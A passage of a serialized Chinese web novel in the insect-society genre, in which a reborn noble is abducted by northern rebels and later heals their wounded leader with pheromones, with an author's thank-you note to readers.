语罢猛然一推,呼啸的风声灌入耳朵,缇宁便如断了线的风筝坠入悬崖下方,漆黑的海浪就像巨兽张开血盆大口,转瞬把他吞噬其中,嚼得脸骨头渣子都不剩。 “我给过你机会了,是你再次做出了错误的选择。” 厄兰居高临下站在悬崖边,墨色的发丝被风吹得凌乱,他瑰丽的唇角愉悦扬起,如同高高在上的神明俯瞰一只蝼蚁,语气难掩惋惜与悲悯。 借着夜色的遮掩,一条通体漆黑的红瞳毒蛇毫无预兆出现在他肩头,对方嘶嘶吞吐着红信,竟然口吐人言,罕见听出了一丝恼怒: 【你疯了吗?!我让你得到缇宁的爱!你为什么要杀了他?!!!】 厄兰百无聊赖反问:“我为什么要得到他的爱?” 黑蛇:【因为你上辈子一直对他求而不得啊!!】 厄兰嗤笑一声:“我上辈子得不到的虫多了,他算老几啊?” 黑蛇:【????!】 面前这只雄虫明明是南部的天之骄子,上辈子却如同拿错了男配剧本,他和南部最年轻的少将缇宁有婚约在身,但没想到对方心有所属,宁可和一个平民雄虫在一起也不愿意嫁给厄兰,让他成为了整个帝国的笑料。按照上辈子的命运轨迹,厄兰将会死在这次叛军的袭击行动中,概因在交换虫质的时候缇宁选择了自己心爱的雄虫海瑟,导致双方交战的时候厄兰没能及时逃脱,意外死于敌军流弹。 但没关系,现在他重生了,也改变命运了。 黑蛇原以为厄兰会按部就班得到缇宁的心,然后再狠狠踹掉对方时,他居然直接一枪把攻略目标给打死了??!!! 厄兰反手收枪,压根不搭理那条黑蛇的气急败坏,打算临时找个安全的地方躲起来,但没想到他刚刚离开悬崖没多久,耳畔就陡然传来一道迅疾的风声,紧接着一阵强烈的失重感传来,被那群展开翅翼准备逃亡的叛军掠到了半空。 —还是那名熟悉的银发雌虫。 哈琉斯早就猜到南部会趁机偷袭,所以离开仓库的时候就让部下带着那些雄虫偷偷转移了,顺便趁缇宁过来接应的时候偷袭了他们的扣押队伍,救出那些被南部囚禁的反叛军。 “尊贵的冕下,我可没打算真的放了你哦~” 厄兰瞳孔收缩,却听见下方传来一阵此起彼伏的欢呼,只见那些被解救的北部叛军正在疯狂摧毁电子镣铐,撕碎身上的囚服展开接二连三飞向上空。 他们展开身后纯黑色的翅翼,煽动时引来一阵疾风,苍白的月光照亮了他们精壮赤裸的上身,肌肉线条上隐有幽蓝色的虫纹浮现,那一双双冰冷残忍的眼眸在黑夜中闪烁着野心勃勃的光芒,如同打开了潘多拉之盒,世间所有欲望和恶魔都倾泻而出。 “南部的可怜虫们,下次再见!” 苍穹夜幕之下,那群北部叛军转身飞离了维罗拉什之崖,古老的战歌从远方传来,傲慢而又无礼: “黎明只是神明欺骗众生的谎言——”“我等愿意永驻黑暗——”“所有道德皆是束缚——”“我们是自由的渎神者——” 191、举报有奖 如果你让厄兰用两个字去形容自己的一生。 除了高贵他想不出还有什么更贴切的词。 但现在这个词得改改了,操蛋! 那群该死的、粗鲁的、野蛮的北部叛军,救了同伴之后难道不应该有多远滚多远,赶紧逃到海岸线的另外一边吗?为什么要把自己一起劫走?! #果然长得太漂亮也是一种罪过# 深夜的海水看起来并不如白天那么澄澈透蓝,反而像是他摆在桌角琉璃瓶里晃动摇曳的墨汁,幽暗、浓厚、带着可以侵吞一切的傲慢。白浪拍打着礁石,发出的不是潺潺流水声,而是某种近乎吞咽的闷响,仿佛水下蛰伏着一头庞大的巨兽。缇宁现在应该已经淹死了吧? 厄兰觉得对方真惨,本来脑袋里就灌满了水,现在恐怕更多了。 不过他很快就没有心思去同情缇宁了,相比之下他还是更担心自己的小命,北部雌虫是出了名的血腥好战,当他们全速飞行的时候冷风就像刀子一样刮在脸上,连呼吸都困难,更不提深夜骤降的温度。 厄兰一开始还能保持清醒,到最后不知飞了多久,眼皮子越来越沉重,就在他被疲惫彻底压垮神经的最后一秒,脑海里闪过了一个模糊的念头— 但愿这群叛军打算留着自己去交换些什么,而不是扔到海里淹死挑衅南部,他丝毫不怀疑这群疯子真的能做出这种事。 殊不知在他们离开后没多久,南部的空中部队就封锁了整片海域,数不清的武装直升机如蜂群般黑压压掠过海面,切断了所有通往北部的航线。 一名带队军官从领航机上利落跃下,冷峻的面容阴沉难看,他手里拿着一部对讲机,眼底怒意跳动,在螺旋桨掀起的飓风中对部下沉声命令道: “立刻搜捕叛军,格杀勿论!” “一定要把厄兰冕下平安带回来,如果他少了一根头发,你们就等着上军事法庭去和秘书长解释吧!” 当厄兰从昏迷中苏醒时,他觉得自己的头发少说起码断了十几根,尤其是浑身的骨头,疼得像被装甲车来回碾了七八遍。寂静的房间弥漫着尘埃和雄虫惊恐的信息素味道,借着窗帘缝隙透进的微光,厄兰终于看清了自己现在的处境:一栋复式小楼内部,大概有十来名雄虫蜷缩着靠在角落,身上华贵的礼服沾满了汗水和尘土,眼底甚至隐隐透着绝望——本来嘛,他们还以为自己可以被南部救出去,结果没想到行动居然失败了,叛军带着他们一路向北,穿过荒芜的矿区,最终抵达这个连卫星地图都懒得标记的边陲小镇,恐怕死在路上连尸体都找不到。冷硬的地面是造成浑身酸痛的罪魁祸首,厄兰从地上站起身,艰难活动了一下脖颈,结果还没来得及做些什么,耳畔就响起一道冰凉玩味的声音: 很不幸。 “尊贵的冕下,您睡得还好吗?” 叛军这次找到的据点还算不错,起码比上次那个废弃仓库强,偌大的客厅不仅铺了木纹砖和羊毛地毯,就连餐桌和厨房也一应俱全。 厄兰寻声看去,发现那个名叫哈琉斯的叛军首领嚣张占据了客厅里的唯 张沙发,对方修长的双腿肆意搭在茶几上,黑色的作战军靴上沾满了可疑的暗红色血块,墙壁投影正循环播放着星网头条,里面隐隐传来主持虫标准的播音腔。“托您的福,还不错。” 厄兰揉了揉被电子镣铐束缚的手腕,然后在哈琉斯冰冷的注视下堂而皇之坐到了沙发右侧,他微微偏头看向对方,墨色长发流泻而下,衬得肤色愈发白皙,那双紫罗兰色的眼眸暗藏笑意,在昏暗的光线下流转着蛊惑人心的风情。“不过…… 他忽然倾身,肩膀若有似无地擦过哈琉斯黑色军服上暗金色的臂章, "如果阁下愿意让我躺在沙发上,我想我会更舒服的。" 哈琉斯盯着前方的星网节目,头也不回掏出一把光能枪抵住厄兰的胸膛,黑色的枪管漫不经心下压,带着不容置疑的力道,迫使坐姿慵懒的雄虫直起了身形,淡漠的语气暗藏杀机: “你是选择坐直,还是永远躺下?” 这只雄虫说话老喜欢动手动脚,如果不是看在对方还有用的份上,早就枪毙了十个来回! 厄兰还是第一次遇到对自己美色无动于衷的虫,他垂眸瞥了眼抵住胸口的枪管,又瞥了眼面前这只周身散发着阴冷气息的雌虫,只觉得那种似曾相识的熟悉感更强烈了。 到底在哪里见过呢? 啧,想不起来了。 半晌,厄兰终于放弃了思考,他轻笑一声,极是好脾气地坐直了身形,倒不见别的雄虫那种敢怒不敢言的姿态, “好吧,如果一定要选择的话,我当然是坐直。”虽然他就算躺一辈子,也多的是雌虫争得头破血流想要养他。茶几上放着一盒没拆封的营养液,外加几袋军用压缩饼干,甚至还有一些零食。厄兰两天两夜都没怎么进食,身体适时发出了抗议,他随手拿起一瓶营养液,熟练拧开封口:“亲爰的阁下,你一定不会介意的对吗?”哈琉斯不语,看样子是懒得搭理。 于是四周值守的叛军和被绑架的雄虫亲眼看见这两只虫坐在沙发上边吃边聊,时不时还对星网新闻评头论足一番,虽然大部分情况下都是厄兰在缠着哈琉斯说话,不着痕迹打听对方的身份。 厄兰:“哇哦~你好像出现在了星网头条上呢。”哈琉斯冷冷开口:“那叫通缉令。”厄兰真诚感慨道:“真是事业有成,年纪轻轻就上了全国通缉令。” 哈琉斯:“你吃饱了吗?” 厄兰:“吃饱了。” 哈琉斯右手轻抬,用枪口指向角落:“吃饱了就给我滚回去继续蹲着!” 厄兰:.…… 脾气还挺爆。 厄兰笑了笑,丝毫不介意这位绑匪恶劣的态度,拍拍屁股起身朝着俘虏区走去,途经餐桌的时候还顺手拖了张雕花金椅,翘着二郎腿优雅惬意落座,活像在参加宫廷晚宴一样,丝毫不顾及其余雄虫愤怒险些要喷火的目光。“哈琉斯,通讯器有信号了!” 二楼忽然响起一道低沉的声音,把所有虫的视线都吸引了过去,只见一名戴着面罩的叛军首领正倚靠在栏杆边,低头对哈琉斯打了个手势。 哈琉斯闻言直接关掉投影起身,军靴踏过满地狼藉的压缩饼干包装朝着楼上走去,借着天花板微弱的灯光,他宽阔的后背似乎有一片暗沉凝固的血迹,只是在黑色军服的衬托下不大清晰。 当哈琉斯的身形消失在二楼拐角处时,这群雄虫的头顶仿佛移开了一座无形的大山,呼吸瞬间变得通畅起来。 其中一名铂金色头发的雄虫终于忍耐不住从地上起身,指着厄兰愤怒道:“厄兰,你怎么和那个北部叛军关系那么亲近?!你们该不会是一伙L的吧?” 厄兰原本在望着哈琉斯离去的方向兀自出神,冷不丁听见这道愚蠢的咒骂声,终于掀起眼皮看去,却发现对方看起来有些眼熟—一 好像是之前被哈琉斯攥住头发吓尿了裤子,跪在地上哭着喊着要给他做精神安抚的那只雄虫,叫什么名字来着…….约翰? 厄兰似笑非笑倒入椅背,心想对方看起来还是没学乖,漫不经心晃了晃鞋尖:“哦~约翰阁下,没想到这么隐秘的事都让你猜出来了,我确实和那只雌虫的关系不一般,说不定将来还会娶他呢,怎么样,有兴趣过来喝杯喜酒吗?“约翰没想到他居然直接承认了,一张脸憋得涨红:“厄兰!你这是在给帝国蒙羞!!” 厄兰用最风度翩翩的语气说着最刻薄的话:“约翰阁下,或许你现在最该担心的不是帝国的脸面,而是这里有没有干净的裤子可以供你换洗,毕竞尿液挥发后的气味可不大美妙。“ 约翰闻言愣了一瞬才反应过来厄兰是指他之前被吓尿了裤子的事,一张白净的脸顿时涨得通红,就连四周也传来此起彼伏的哄笑声,只是碍于那群叛军不敢笑得太放肆。 “厄兰!我不信你能嚣张一辈子!!” 约翰看向他的目光满是仇恨,咬牙切齿甩下一句狠话就重新躲到了角落,毕竟他可没胆子和那群叛军搭话。 而厄兰也没什么兴致继续计较,他重新倒入椅背,抬头看向二楼虚掩的房门,脑海中不期然闪过银发雌虫刚才苍白失血的脸色,无意识转了转自己右手无名指上的宝石戒指,神情若有所思— 那是一枚微型定位器。 幽紫色的戒面折射出一抹诡异的红光,厄兰不知是有意还是无意,故意当着约翰的面摆弄片刻,等过了大概十分钟左右,这才起身走向其中一名值守的叛军问道: “抱歉,我可以上个洗手间吗?” 那名叛军被他的笑意晃了一下眼睛,磕磕绊绊吐出一句话:“请……请跟我过来。” 语罢在前面引路,把他带进了里面的卫生间。 这栋复式小楼很明显是民居,里面还有不少别的虫生活过的痕迹,只是门窗都封死了,没有任何逃跑的希望。厄兰关上房门,却没有上厕所,而是低头摘下戒指摆弄片刻,从底部抠出一个微型信号器塞进水箱藏好,这才装模作样按了一下水箱,洗手走出卫生间。那名叛军听见抽水声扫了眼卫生间内部,见没什么异样,像刚才一样用枪抵着厄兰把他送回了原处,彼时那名叫约翰的雄虫正独自蹲在角落,用阴沉沉的目光盯着他,也不知在打什么算盘。厄兰惬意双腿交叠,靠在位置上闭目养神,脑海中不期然浮现出了一句话:雄虫这种生物如果愚蠢到一定程度,说不定会跌破你的三观。过了大概半个小时,楼上忽而传来一阵脚步声,那几名叛军首领陆陆续续走下了楼,为首的赫然是哈琉斯,后面一个叛军脸上带着白色的哭脸面具,另外一个带着红色的笑脸面具,在影影绰绰的灯光下显得格外诡异。当哈琉斯黑色的军靴经过角落时,一名铂金色发丝的雄虫忽然咬了咬牙,鼓起勇气站起身高声道: “等等!我要举报!!” 他冷不丁出声,顿时把所有虫的视线都吸引了过来,就连那几名叛军首领也饶有兴趣顿住了脚步,哈琉斯炎淡偏头,幽暗的眼眸盯着他,虽然什么都没说,但意思很明确:你如果没憋出什么屁来就死定了。 约翰把心一横,伸手指着厄兰恨恨道:“他的身上有定位器!一定是想逃跑!!” 作者有话说?显示所有文的作话 第191章举报有奖 感谢小天使们的9个霸王票、468瓶营养液~ iceag1 ×1 鲤漓 ×5 我死后对家be ×1 67921974 ×10 定格 ×10 一坨坨子 ×10 辛幼安 厄兰:乖,举报又没奖。哈琉斯(低头摆弄枪):也不是,可以奖励一颗子弹。 192、谁敢去 “我……我说的是真的!他手上那枚戒指肯定藏着定位器!你们打开看看就知道了!”在南部的时候,约翰就属于和厄兰不对付的那一类虫,现在被绑架的恐惧和屈辱像毒液一样侵蚀着他的理智,他根本不在乎自己说的话是否合理,更没有想过如果厄兰真的带着定位器,他们或许还有一线生机。约翰只想看厄兰倒霉。他怯懦的眼睛因此变得猩红,带着一丝狠劲牢牢钉在了厄兰身上,从牙缝里硬生生挤出了一句话:“你敢不敢把戒指交出来?!”厄兰没有说话,仍是那副气定神闲的姿态,仿佛在观看一场滑稽的闹剧。空气因此陷入了凝固,只有通风系统低沉的运转声在耳畔轻轻响起,哈琉斯的目光缓缓移向厄兰,一言不发朝他伸出了手,黑色作战手套包裹着修长的指尖,露在外面的半截轻勾,带着无声的命令:交出来。厄兰见状唇角弯了弯,这才慢条斯理把自己的右手递过去——这只雄虫不仅有着举世无双的美貌,就连手也完美得找不出一丝瑕疵,骨感、修长、白皙,那枚昂贵的紫色宝石戒指静静戴在无名指上,哪怕在昏暗的光线中也依旧夺目生辉。哈琉斯毫无预兆攥紧厄兰的手腕,力道大得甚至能听见骨骼轻响,他倾身靠近雄虫,气息冷冽,刻意压低的声音像毒蛇从耳畔游曳而过: “冕下,如果是真的…… 他低笑,一字一句道, “我就把你这只漂亮的手,一点、一点碾碎。” “是吗,我可真害怕,”厄兰说着可怜巴巴的话,眼中却笑意分明,指尖不经意在雌虫的掌心轻挠了一下,“但愿您不要检查错。” 说话间那枚宝石戒指已经被摘了下来,哈琉斯看也不看,直接扔给后面的同伴用仪器检查,几秒后,只听 阵“滴滴”的声响传出,那枚戒指被重新还了回来。 “头儿,没有检测到信号波动。” 约翰的脸顿时变得煞白一片,控制不住拔高声音道:“这怎么可能?!你们一定检查错了!!再重新检查一次——” 哈琉斯的耐心却在这一刻彻底告罄,只见他闭了闭眼,太阳穴青筋暴起,忽然抬手扣动扳机,“砰砰”两声震耳的枪响在密闭空间炸开,子弹精准贯穿了约翰的双腿。 “啊!!我的腿!!”约翰凄惨的叫声瞬间响彻房间,只见他痛苦抱着膝盖倒地,鲜血蜿蜒着在地板上汇聚成一滩,雄虫特有的信息素味道在空气中弥漫开来,让这群刚刚经历过大战的雌虫呼吸控制不住开始急促起来。哈琉斯居高临下望着约翰,低声冷冷道:“阁下,您好像很喜欢告密这种游戏,不过这里可不是南部,无论你说了多少颠倒黑白的话都不用坐牢。”他缓缓蹲下身,用冰凉的枪管在约翰苍白的额头上敲了敲:“在反叛军的地盘上,说错话要付出的代价……可是很昂贵的。”离得近了,才发现这只银发雌虫的眼睛其实是深紫色,只是因为里面氤氲的负面情绪太多,所以看起来晦暗冰冷,像一团散不开的浓墨。约翰浑身发抖地躺在地上,又疼又怕,哭得一把鼻涕一把泪:“求求你……·求你救救我……我不想死.……我还不想死呜呜鸣…” “闭嘴!” 戴着哭脸面具的首领突然沉声喝止,只见他快步上前走到哈琉斯身后,面具后方的声音压抑而紧绷:“立即给他止血!雄虫血液中的信息素味道太浓了,别惹麻烦!” 这群叛军刚刚才和南部激战不久,精神力尚且处于紊乱状态,尤其这些贵族雄虫的信息素浓度等级都不低,稍有不慎就会对他们造成干扰,已经有几名战士开始不自觉地喘息起来,指节发白地攥紧了武器。 雄虫的信息素对雌虫来说是顶级春药, 但如果得不到他们的安抚,就会变成致命毒.药。 哈琉斯闻言眼眸微眯,在阴影中难掩危险,只见他缓缓直起身,革化底踩过地板上粘稠的血液,听不出情绪的吩咐道:“拖下去,处理干净!” 立刻有两名叛军屏住呼吸上前,三两下捂住约翰的嘴给他取出子弹包扎伤口,粗暴喷上止血药剂,然后拖到了旁边的小房间里关着,就连地板上残留的血液也没放过,用稀释剂喷了个干干净净。 虽然厄兰觉得用一条裹尸布把对方送走会更省事。 但事已至此,这场闹剧终于落下帷幕。 只是哈琉斯的情况似乎不大好,转身回了楼上就再也没出来过—— 这是厄兰通过那些在二楼进进出出的医疗兵得出的结论。 夜色渐黑,那些北部叛军仿佛不知疲倦似的,分成了数个小队在楼下来回巡视,娇生惯养的雄虫不敢发出任何抗议,全都蜷缩在冰冷的角落艰难入睡。 厄兰是唯——个敢躺在沙发上睡觉的,反正也没有虫管他,只是太久没洗澡,身上传来的黏腻感让他隐隐感到了几分烦躁,之前在废弃仓库没条件也就算了,现在这栋复式小楼的环境明显可以够他好好泡个澡,那颗心难免有些蠢蠢欲动起来。【都什么时候了你还想着洗澡,嫌命长了是不是?!】 这条黑蛇总是神出鬼没,冷不丁出现在肩膀上能吓死虫,厄兰闻言条件反射看向那群来回巡逻的叛军,见他们好像察觉不到自己和这条黑蛇说话,这才慢悠悠开口: “亲爱的,知道为什么我是优雅高贵的冕下,而你只是一条黑黢黢的臭蛇吗?就是因为我爱干净。” 他优雅解开袖扣,慢条斯理补充道:“与其当一只发馊的臭虫,我还是宁愿冒着被枪毙的风险去泡个玫瑰浴。” 【???】它不敢相信自己居然复活了这么个玩意儿!任务失败在即,这混蛋雄虫不仅毫无悔意,甚至还对它进行蛇身攻击?!黑蛇的鳞片因暴怒而震颤,毒牙间挤出阴冷的嘶鸣:【我哪里臭了?!信不信我现在就掐死你!】厄兰:“当然可以,不过在死之前,我必须泡个澡。”黑蛇眼底的杀意几乎凝成实质,蛇尾狂躁地拍打地面,从牙缝里阴森森挤出一句话:【你这只背信弃义的雄虫,当初复活时明明答应帮我得到缇宁的心,结果你直接把他推下了山崖,耍我是不是?!】可恶!居然敢戏耍伟大的撒斯姆大人!!厄兰懒散倒入沙发,语气玩味:“狗都不吃的玩意儿,你要它干嘛?” 黑蛇:“ 厄兰饶有兴趣:“还是说你要吃?” 黑蛇:“???” 黑蛇终于发现了,名字里带“厄”字的没一个好人,虫也是,如果它凶狠的目光可以凝成实质,现在已经把厄兰千刀万剐了。 “亲爱的朋友,别这么盯着我看。” 厄兰无辜摊手,唇边噙着一丝恶劣的笑意:“你要知道,如果按照南部律法,因为雌君过失而导致雄主意外死亡,雌君可是要跟着一起殉情的。”说到最后一句话时,他目光微暗,悄然闪过一抹愉悦:“而我只不过是提前帮缇宁规避了风险而已。” 黑蛇咬牙切齿道:【是吗?那可真是不幸。】 【但我不得不告诉你一个糟糕的消息,你那一枪并没有打死缇宁,他现在还活着,也就是说你必须继续给我完成任务,别想着耍什么小花招,否则我现在就让你的重生机会作废!】厄兰闻言微不可察一顿,这下是真的感到了几分惊讶:“缇宁还活着?” 黑蛇无不恶意的道:【嗯哼,真遗憾,你还得继续和我玩这场游戏。】厄兰忍不住叹息道:“那听起来确实很遗憾。”早知道他当初就一枪爆头了,缇宁的运气看起来比他的智商要高得多。—但那不重要,现在最重要的是洗澡。 夜色浓稠,整栋房间静得只能听见时钟滴答走动的声音。 厄兰从沙发上慵懒起身,理了理自己衣服上的褶皱,迈步朝卫生间门口值守的叛军走去,他唇角噙着笑,一副人畜无害的优雅贵族做派,心里却盘算着该怎么用最省事的法子忽悠对方让自己洗个澡。然而还没来得及等他开口,二楼忽然传来砰的一声巨响,像是桌子花瓶被掀翻的动静,不止是负责值守的叛军警觉起来,就连那群昏昏欲睡的雄虫也从睡梦中惊醒,瞪大了惊恐的眼睛看向楼上。发生什么事了?! “砰——!” 原本紧闭的房门忽然被虫一脚端开,只见之前那名戴着哭脸面具的叛军首领从里面走出,身上还沾着可疑的血迹,哪怕没有摘面罩,也不难让虫感受到他焦急暴躁的情绪: “该死!哈琉斯的伤口恶化了!霍恩格,立刻找只雄虫上来给他做精神安抚!” 这句话一出,躲在角落里的雄虫顿时如惊弓之鸟,纷纷散开往暗处躲去,脸色煞白无比——给楼上那只毁了容又变态的叛军首领去做精神安抚?!这和下地狱有什么两样?!或许约翰愿意?他之前不是哭着跪着要给对方做精神安抚吗?但对方现在半死不活地躺在小隔间,显然是不行了。 “吱呀——” 精致的雕花椅在地板上拖出刺耳的声响。 一直安静坐在楼下餐桌旁的、脸上戴着枚诡异笑脸面具的叛军首领闻言起身拉开椅子,慢条斯理踱步走到了那群瑟缩的雄虫面前,他脸上红色的面具在灯光下泛着冰冷的色泽,嘴角咧开的弧度怎么看怎么嘲讽。霍恩格轻轻“啊”了一声,语调凉薄而又漠然,像是在点评一群待宰的羔羊: “雄虫?这里倒是挺多的,不过这些尊贵的阁下看起来好像不是很情愿呢。”他手中黑压压的枪管隔空指着那群雄虫,目光细细打量,像在挑选货架上的商品,每否决一个,枪管便轻佻地晃一下: “这个太丑,不行。”“这个太矮,也不行。”“这个勉强还行……但是等级低了点。” 楼上的那名叛军首领忍了又忍,最后终于忍不住暴怒出声:“霍恩格,你再他妈磨蹭下去我就打爆你的头!” “啧,急什么,”霍恩格的语调慢悠悠的,“我可是为了你好,如果哈琉斯知道你随便找了一只丑八怪雄虫给他做精神安抚,我保证你第二天一定会死的比我还惨。” 忽然间,霍恩格不知想起什么有趣的事,眼前一亮,枪管转了个一百八十度的大弯,指着站在沙发边看戏的那抹修长身影道 “差点把你忘了。” 枪口对准厄兰,愉悦上下轻点,语气难掩满意,出声催促道, “就你了,上楼去吧。” 193、安抚 霍恩格原以为这只被指到的雄虫会吓得脸色苍白,再不济也该哆嗦一下,但没想到对方紫色的眼眸闪过一丝兴味,唇角微扬,慢条斯理指向自己问道: “我吗?”——看起来居然还他妈的挺高兴?!这下子把霍恩格给弄不会了,他无意识摩挲着手中冰冷的金属枪,总算找回了几分属于绑匪的掌控感,挑了挑眉: “当然,如果您身边没有鬼的话。” 去做精神安抚=上楼进屋=浴缸=可以洗澡。 厄兰脑海中瞬间完成了这个完美的推演等式。 “既然如此,乐意效劳。” 只见面前的雄虫优雅欠身,墨色的发丝在灯光下流淌着丝绸般的光晕,无论外貌还是等级亦或者礼仪都是南部万中无的存在,只是他眼眸中隐藏的热切让虫感到了几分不安, “事不宜迟,我们现在就上楼吧。” 贵族雄虫是不会轻易出手给雌虫做精神安抚的,既是为了维持身份,也是为了维持格调,毕竟他们不像那些平民雄虫一样需要依靠安抚赚取星币。 厄兰这么多年来一直是高高在上的性格,就更不会给谁去做精神安抚了,但在这群北部叛军黑漆漆的枪管威胁下,他觉得自己偶尔破例一回也无不可。 或许是厄兰的态度太过反常,让霍恩格控制不住生出了几分警惕,他把厄兰送到楼上时,虽然解开了对方手腕上的电子镣铐,但却把另外一个金属质感的手环咔哒一声扣在了他的手腕上,轻飘飘的语气暗藏威胁: “冕下,我建议您最好不要耍什么花招,否则……” 他低笑一声:“您不会想知道后果的。” 厄兰举起自己手腕上的镣铐在霍恩格眼前晃了晃,似笑非笑倒退进入房间阴影:“请放心,我还是很在乎自己这条小命的。” “咔哒”一声,房门关上了。 屋内的情形映入眼帘,却比厄兰想象中要糟糕许多。 只见地板上散落着数十个拆封的高浓度抑制药剂盒,透明的瓶身碎片在灯光下泛着冷芒,那张复古木质大床上躺着一名上身赤裸的雌虫,精壮的身躯在阴影中呈现出一种瓷器般破碎的苍白,皮肤上有一些新旧交叠的鞭痕,但最为可怖的还是右肩之前和南部搏斗留下的贯穿伤,隐隐可以看见森森白骨。 伤口创面太大,一时找不到止血凝剂,殷红的血液正以一种极其缓慢的速度淌过身躯,在腹肌处留下红蛇般蜿蜒的痕迹。 厄兰俯身轻嗅,发现伤口附近还有属于约翰的信息素残留,大概是今天下午开枪时不小心沾染上的,也是造成对方精神力恶化的根源。 他伸手轻轻触碰伤口边缘,准备驱散那些残留的信息素,但不知想起什么,淡淡挑眉,又收回了指尖。 ——理智告诉厄兰,最好不要轻易触碰一只处于失控状态的凶悍雌虫。 他站直身形,漫不经心脱下身上的外套搭在衣架上,然后迈步走进了浴室。 临关门前,厄兰不知做了什么,手腕翻转,一团无形的精神力忽然从空气中开始蔓延,包裹住了整个房间。 属于SS级雄虫甜腻的信息素如同活物一般,目标明确地缠住了那名陷入半昏迷状态的雌虫,把属于约翰的那点残留信息素从伤口上尽数剥离开来。 然而短暂的压制过后,紧随其后便是灭顶般的刺激。 陷入昏迷中的哈琉斯忽然痛苦皱起了眉头,腰腹紧绷,喉结上下滚动,发出隐忍艰难的闷哼声,他骨节分明的指尖死死攥住床单,头颅就像濒死的天鹅,原本苍白的皮肤开始蔓延一阵不正常的红潮,竟显出了几分不易察觉的脆弱。厄兰站在花洒下方懒洋洋抬头,低沉声音裹挟着水汽传来,每个字都像羽毛轻扫过耳畔: “您中奖了呢,我的信息素可不是那群下等货色能比的……. SSS级雄虫信息素的诱惑不是谁都能承受住的,哈琉斯紧咬下唇,殷红的血珠渗出,他只感觉自己的身体和大脑被硬生生分离开来,一边是世上极致的愉悦和快感,一边则是如跗骨之蛆般无法摆脱的梦魇。他的身体沉沦在雄虫用信息素编织的极乐幻境中,每一根骨头都仿佛浸泡在了蜜糖里那么舒适,然而而大脑却被困在血肉模糊的战场,那些被刻意遗忘的记忆正从深处翻涌而上,如钝刀切割神经。军事审讯室里,惨白的探照灯将空气中起伏的尘埃照得纤毫毕现。 哈琉斯被束缚在特制的合金椅上,手腕上的抑制器闪烁着猩红的光,两名神情高傲的审讯官围坐在长桌对面,面容隐没在军帽阴影下方,军服右臂佩戴的银色天平徽章光芒刺目。 “哈琉斯少将。”其中一名审讯官用电子笔轻轻敲击着桌面,“这已经是我第五次询问了——你依然坚持第三军团没有叛徒吗?”探照灯被调到了最亮,照射瞳孔时控制不住溢出生理性泪水,如同火焰在炙烤皮肤,长达半个月的审讯折磨让那双沉静的暗紫色眼眸布满了血丝,唇瓣干裂出血,声音粗粝得好似砂纸打磨:“不……他从胸腔里硬生生挤出一句话,铁锈味溢满了口腔,依旧是重复了千百次的回答,“第三军团没有出现叛徒、海庇长官也没有指挥失误……我们返程途中星舰无故发生爆炸……至今原因不明……审讯官漫不经心转动笔尖:“那艘星舰上可是装载了价值上亿星币的秘金,你确定不是因为海庇长官动了贪念想带着你们潜逃吗?按照原定航线,你们应该从弗莱茵山脉回程,为什么要中途调转方向往北方走?”哈琉斯控制不住身形前倾,神情阴鸷地盯着他们,束缚环勒破皮肉,银色的发丝被冷汗浸透,衬得那双眼睛猩红暗沉:“那是因为负责接应的缇宁少将说弗莱茵山脉有飓风现象,让我们临时改道去南海岸交接,记录仪里有他传来的指令!”“真遗憾,少将。” 审讯官身形后移,倒入椅背, “现在整艘星舰只有你一个活了下来,价值上亿的秘金无故失踪要知道这玩意儿可是连燃弹都炸不坏的,就连记录仪也损坏无法修复,您的供词真是站不住脚。”但还有更重要的一点, “缇宁少将否认曾经给你们下达过改航指令,他说他在弗莱茵山脉一直等着和你们交接,结果你们迟迟没有回复,他的星舰上所有催促指令都十分完整,且同行的部下也能证明这一点。” “您最好仔细想想那批秘金去了哪里,否则恐怕要在星际监狱里生不如死地待一辈子了。” 哈琉斯听见信任的战友居然一口否认,瞳孔骤然收缩,审讯室惨白的灯光在他眼中变成无数残片,他听见自己牙关战栗的声响,仿佛有什么东西正从灵魂深处开始寸寸崩裂:“这不可能!向虫神起誓,我说的一切都是真的!!”审讯官却用电子笔隔空点了点他脸颊侧面那个属于背叛者的烙印:“阁下,我不得不提醒你一句。” 他顿了顿,语气怜悯, “你已经没资格信奉虫神了。” 呼吸陡然顿住,伴随着一阵轰然坍塌的巨响,梦境如潮水般抽离,只剩下一片看不见前路的漆黑。是啊,原来他早就是虫神的弃徒了……歇斯底里的笑声从喉间溢出,如同疯子般神经质,他所信任的战友背叛了他,他所信奉的神明抛弃了他,度诚的信徒意念崩塌,变成了彻彻底底的渎神者。哈琉斯划破自己的容貌,试图用鲜血毁掉那个不可磨火的屈辱烙印。从那一刻开始,神明在他心中彻底死去。 “哗啦。” 浴室门滑开,蒸腾的水汽弥散。 当厄兰擦拭着湿漉漉的发丝走出来,映入眼帘的就是这样一幕—— 那名凶残的银发雌虫此刻正神情痛苦地蜷缩在床上,牙关紧咬,冷汗浸透了全身,仿佛正在承受莫大的酷刑折磨,浅色的青筋在苍白的手臂上蜿蜒起伏,呼吸越来越厚弱,就像濒死的困兽。多么不合常理的反应。 雌虫应该在雄虫的信息素安抚下获得火顶的快感,并为此痴迷疯狂,忘却一切烦恼。 而不是像哈琉斯这样。 痛苦得仿佛有谁在用钝刀切割他破碎的灵魂。厄兰斜倚着门框,感到了几分兴味。毕竟他这辈子都不会明白哈琉斯的那种痛苦。他太好命了,天生的好命。 截止到这场绑架意外前夕,缇宁那样声名赫赫的年轻少将也不过是任由他挑拣的萝卜青菜而已,没有任何虫敢忤逆他,没有任何虫敢不爱他。 不是神明,却胜似神明。 厄兰隔着几米距离轻抬右手,修长的指尖隔空虚拢,精神力瞬间如银丝般从指尖流泻而出,灵活缠绕上哈琉斯血肉模糊的肩头,可怖的伤口竟以一种缓慢的速度开始合拢,并且长出厚厚的血痂这是SSS雄虫才有的天赋技能,疗愈。 很快,痛苦如风一般消逝,取而代之的是一种难以言说的舒适清凉,那些弥漫在空气中的雄虫信息素就像蛛网一样温柔缠缚,将哈琉斯牢牢包裹其中,连带着侧脸皮肉外翻的伤口也开始结痂愈合,带来久违的安宁。他渐渐安静了下来。 不再挣扎、不再颤抖。 只是眉头依旧紧皱,脸色苍白,仿佛灵魂仍被困在那些遭受拷打的日日夜夜里,反复烙上名为背叛的痕迹…… 194、他已经爱上我了 翌日清早,当哈疏斯从军噩中苏醒的时候,映入眼帘的就是头顶华丽的水晶吊灯,他涣散的瞳孔L缓缓聚焦下意识偏头看向四周,却见不远处的沙发上躺着一抹熟悉的身影,目光就此顿住 … 